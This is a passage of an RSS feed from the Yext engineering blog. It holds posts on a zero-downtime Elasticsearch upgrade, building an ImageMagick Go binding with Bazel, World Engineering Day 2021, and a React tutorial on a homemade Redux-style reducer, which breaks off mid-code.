code to only use these two type of requests. Fortunately, most of our code
already conformed to that. The next step was to serialize the IndexRequest and
DeleteRequest to a Kafka topic. We set up a loader daemon that read
from a Kafka topic and write to an Elasticsearch 7 cluster asynchronously.
Since the same set of IndexRequest and DeleteRequest were sent to both the
clusters (they had the same set of indices and aliases), they ended up being
eventually consistent.&lt;/p&gt;

&lt;p&gt;Since the two clusters had the same set of documents, we could hot-swap
them. As a result, we didn’t experience any downtime or service disruption
during the process. For the same reason, we could also swap them back in
case of any service degradation. The most interesting part was that the
solution can be applied for any future upgrade as well.&lt;/p&gt;

&lt;h2 id=&quot;what-we-learned&quot;&gt;What we learned&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Any cluster can be upgraded by following the above technique. We have
tested it for clusters with 100s of millions of documents.&lt;/li&gt;
  &lt;li&gt;The REST API compatibility between two major versions is the primary reason
for the seamless upgrade experience. Based on the current setup, we can
upgrade more frequently and without too much throw-away work.&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Mon, 29 Mar 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/elastic-upgrade</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/elastic-upgrade</guid>
            </item>
        
            <item>
                <title>An ImageMagick binding for Go, built with Bazel</title>
                
                    <dc:creator>robfig</dc:creator>
                
                <description>&lt;h2 id=&quot;the-problem-cgo-cross-compilation-and-bazel&quot;&gt;The Problem: cgo, cross-compilation, and Bazel&lt;/h2&gt;

&lt;p&gt;The Photos system stores, processes, and serves customer-supplied images, as
described in &lt;a href=&quot;https://engblog.yext.com/post/making-of-pages-2#images&quot;&gt;The Making of Pages, part 2&lt;/a&gt;. It is implemented in Go and performs
its image processing tasks using the high-performing and feature-rich
&lt;a href=&quot;https://imagemagick.org/index.php&quot;&gt;ImageMagick&lt;/a&gt;, via the &lt;a href=&quot;https://github.com/gographics/imagick&quot;&gt;gographics/imagick&lt;/a&gt; package.&lt;/p&gt;

&lt;p&gt;This worked, but it had a few issues:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;ImageMagick of a specific version must be installed on developer workstations
and our CI VMs.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;Cross-compilation does not work, because no one knows how to set up a
cross-compilation toolchain for C++.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then we migrated to &lt;a href=&quot;https://bazel.build&quot;&gt;Bazel&lt;/a&gt; so that we could build container images, automate
our code generation steps &amp;amp; dependency management, and speed up builds with a
team-wide cache and safe incremental builds. &lt;strong&gt;gographics/imagick&lt;/strong&gt; does not
build with Bazel out of the box.&lt;/p&gt;

&lt;p&gt;Here’s how we added Bazel support and solved the two issues mentioned above.&lt;/p&gt;

&lt;h2 id=&quot;the-solution-vagrant--static-linking&quot;&gt;The Solution: Vagrant &amp;amp; Static linking&lt;/h2&gt;

&lt;p&gt;Taking a page out of Go’s build philosophy, we can build statically-linked
libraries for ImageMagick for MacOS/Linux and check them in. To easily build
those libraries for multiple platforms and test that the results work, we use
&lt;a href=&quot;https://www.vagrantup.com/&quot;&gt;Vagrant&lt;/a&gt; and provision the local VMs with &lt;a href=&quot;https://www.ansible.com/&quot;&gt;Ansible&lt;/a&gt;. This assumes a MacOS host.&lt;/p&gt;

&lt;p&gt;The entire change can be seen here:
&lt;a href=&quot;https://github.com/yext/imagick/commit/7827fa8f4380225e8aad21bf1c7ac81ebbab40f7&quot;&gt;yext/imagick 7827fa8f&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Working through it:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Vagrantfile&lt;/code&gt; configures three different Linux VMs, used for building the
ImageMagick library and testing the results in two different environments:
one mimicking a developer workstation and another mimicking production.
Vagrant provisions the “developer workstation” using
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;vagrant-dev-playbook.yml&lt;/code&gt;, an Ansible playbook.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;download-build-imagemagick.sh&lt;/code&gt; is run from both the MacOS host and the
Linux builder VM to download and build static ImageMagick libraries.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagick/magick_wand_test.go&lt;/code&gt; includes a unit test that validates the set of
delegates (image formats) supported by the library, providing confidence that
it was built properly.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagick/magick_wand.go&lt;/code&gt; has an update to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;#cgo&lt;/code&gt; directives, which pulls
in the prebuilt libraries instead of using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkg-config&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libs/BUILD.bazel&lt;/code&gt; contains the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cc_library&lt;/code&gt; Bazel target, referenced by the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;go_library&lt;/code&gt; in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;imagick/BUILD.bazel&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the end, I was able to build on MacOS and Linux, run the tests, and
cross-compile. Nirvana achieved.&lt;/p&gt;

</description>
                <pubDate>Wed, 24 Mar 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/bazel-cgo-imagemagick</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/bazel-cgo-imagemagick</guid>
            </item>
        
            <item>
                <title>World Engineering Day 2021</title>
                
                    <dc:creator>Yext Engineering</dc:creator>
                
                <description>&lt;p&gt;World Engineering Day 2021&lt;/p&gt;

&lt;p&gt;Happy &lt;a href=&quot;https://www.discovere.org/our-programs/world-engineering-day&quot;&gt;World Engineering Day&lt;/a&gt;!&lt;/p&gt;

&lt;p&gt;Our leadership recognizes our engineering and technology professionals
for the incredible work they do everyday to move Yext forward in our
mission to connect billions of people around the world with answers to
their questions.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-03-world-eng-day-postcard.png&quot; alt=&quot;World Eng Day postcard&quot; /&gt;&lt;/p&gt;

&lt;p&gt;While no one would say that this past year was an easy one, our
Technology teams might have made you think otherwise based on the
transformational work they were able to do for Yext. Despite the
challenges of a global pandemic and a full year of remote work, our
technology teams managed to complete 297 major initiatives throughout
the year.&lt;/p&gt;

&lt;p&gt;Particularly notable is the work our engineers undertook to help Yext
customers deal with COVID-19. As the pandemic spread and businesses
needed ways to inform their customers of temporary location closures,
we quickly added support for specifying temporary closures and re-open
dates within a company’s Knowledge Graph. Along with this, we took on
the high urgency initiative to give customers access to COVID-related
fields at Google, Apple, Yelp and other publishers.&lt;/p&gt;

&lt;p&gt;Outside of our day-to-day work, our team stayed connected and enjoyed
each other’s virtual company, courtesy of Zoom. We may not have been
able to gather in person for our usual events and offsites, but that
didn’t stop us from having a good time together!&lt;/p&gt;

&lt;p&gt;We celebrated our wins together with plenty of virtual dinner parties
and happy hours.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-03-va-wine-tasting.jpg&quot; alt=&quot;VA wine tasting photo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;And we tried our hand at some new skills, from pasta-making to
painting. We even had some very special guests at one of our teams’
meetings!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-03-painting.jpg&quot; alt=&quot;Painting photo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/2021/2021-03-puppies.jpeg&quot; alt=&quot;Puppy photo&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As we look back on the year, we are thankful for the support of our
teammates and leadership to get us through what some have called
“unprecedented times.” In all seriousness, Yext could not be where it
is today without the substantial contributions of our talented
Technology and Consulting organizations. We thank you for all of your
work, and we look forward to everything we’ll do together in 2021.&lt;/p&gt;

&lt;p&gt;Happy Engineering!&lt;/p&gt;

</description>
                <pubDate>Thu, 04 Mar 2021 00:00:00 +0000</pubDate>
                <link>https://engblog.yext.com/post/world-engineering-day-2021</link>
                <guid isPermaLink="true">https://engblog.yext.com/post/world-engineering-day-2021</guid>
            </item>
        
            <item>
                <title>Writing Our Own In-house Redux (Kind Of)</title>
                
                    <dc:creator>dpowers</dc:creator>
                
                <description>&lt;p&gt;At Yext, we use &lt;a href=&quot;https://reactjs.org/&quot;&gt;React&lt;/a&gt; for all new frontend applications. When it comes to state management libraries to go with React, it doesn’t get much better than &lt;a href=&quot;https://redux.js.org/&quot;&gt;Redux&lt;/a&gt;. It allows you to define any number of reducers which comprise a global store, to dispatch actions to that store, and to subscribe to only the parts of state that you care about in each component.&lt;/p&gt;

&lt;p&gt;On the other hand, for apps with relatively simple state, a few &lt;a href=&quot;https://reactjs.org/docs/hooks-reference.html#usestate&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;useState&lt;/code&gt;&lt;/a&gt; calls should do the trick. However, while working on a large frontend project recently, I noticed that our state grew complex enough to warrant something more than some hooks. No team at Yext has used Redux thus far, and even despite its relatively small size (163 kB), we thought it overkill for our use case. What we really wanted was a basic Redux implementation without having to use a third-party library.&lt;/p&gt;

&lt;p&gt;So, like any Yexter would, we set out to make our own Redux! Albeit with a simpler set of features, we still created a store-like state with a way to dispatch actions to that store. Here’s how:&lt;/p&gt;

&lt;h1 id=&quot;the-reducer&quot;&gt;The Reducer&lt;/h1&gt;

&lt;p&gt;First, we defined a custom reducer in its own file. A reducer is simply a function that accepts a current state and an action, and based on that action, returns a new state. The Redux convention is that every action is an object which has, at the very least, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;type&lt;/code&gt; property which is a string. In this post, we will demonstrate with a simple counter which we can increment, decrement, or set. Here’s what a simple reducer for the count state looks like:&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// countReducer.js&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;INCREMENT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;INCREMENT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DECREMENT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;DECREMENT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SET_COUNT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;SET_COUNT&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;countReducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;state&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;switch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;INCREMENT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;DECREMENT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;state&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SET_COUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nl&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`Action type &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;action&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; not recognized`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Later, we’ll feed this function into a &lt;a href=&quot;https://reactjs.org/docs/hooks-reference.html#usereducer&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;useReducer&lt;/code&gt;&lt;/a&gt; hook which will automatically take care of updating the state for us when we dispatch actions.&lt;/p&gt;

&lt;h1 id=&quot;the-store&quot;&gt;The Store&lt;/h1&gt;

&lt;p&gt;I use the term “store” lightly here, because in this light Redux implementation, the store is nothing more than state stored in a top-level component. However, it still behaves much like a store in that it serves as the single source of truth for the application (or subset of the application). Additionally, we can dispatch actions to this “store” from anywhere.&lt;/p&gt;

&lt;p&gt;As mentioned previously, we create this “store” using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;useReducer&lt;/code&gt; hook, which will give us a state as well as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dispatch&lt;/code&gt; function to update that state. The hook automatically takes care of updating the state whenever it receives an action.&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// TopLevelComponent.jsx&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;React&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useReducer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;react&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;countReducer&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;./countReducer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TopLevelComponent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;props&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useReducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;countReducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;The current count is &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;.&lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second argument to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;useReducer&lt;/code&gt; is the initial value of the state, which we will set to 0.&lt;/p&gt;

&lt;p&gt;Now that we have created our “store”, we need to provide child components with a way to update that store in a convenient way.&lt;/p&gt;

&lt;h1 id=&quot;providing-dispatch&quot;&gt;Providing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dispatch&lt;/code&gt;&lt;/h1&gt;

&lt;p&gt;To make our implementation even sleeker, we wanted to provide a way for child components to access the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dispatch&lt;/code&gt; function without manually passing it to them. To accomplish this, we used &lt;a href=&quot;https://reactjs.org/docs/context.html#gatsby-focus-wrapper&quot;&gt;React Context&lt;/a&gt;. First, we created a context in the reducer file:&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// countReducer.js&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createContext&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;react&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CountContext&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;createContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Next, we imported that context into our top-level reducer in order to provide the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dispatch&lt;/code&gt; function to all children:&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// TopLevelComponent.jsx&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;React&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useReducer&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;react&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;countReducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CountContext&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;./countReducer&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;TopLevelComponent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;props&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;useReducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;countReducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;CountContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Provider&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
      &lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* children */&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;CountContext&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nc&quot;&gt;Provider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, any child which requires the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dispatch&lt;/code&gt; function can grab it via the &lt;a href=&quot;https://reactjs.org/docs/hooks-reference.html#usecontext&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;useContext&lt;/code&gt;&lt;/a&gt; hook.&lt;/p&gt;

&lt;p&gt;We &lt;em&gt;didn’t&lt;/em&gt; make a way to provide the value of the state globally (as Redux usually does), but that could easily be accomplished by using another piece of context and its corresponding provider.&lt;/p&gt;

&lt;h1 id=&quot;action-creators&quot;&gt;Action Creators&lt;/h1&gt;

&lt;p&gt;Manually constructing action objects in each component becomes tedious. For example, every time you wanted to set the count from a child component, you would have to do something like this:&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// SomeChildComponent.jsx&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;dispatch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;SET_COUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Well, it’s not that tedious, but as the state grows increasingly complex, action creators become even more useful. We defined some action creators in our reducer file that other child components can import. These action creators take care of constructing the object for you given certain parameters. Here’s an example for the set count action:&lt;/p&gt;

&lt;div class=&quot;language-jsx highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// countReducer.js&lt;/span&gt;
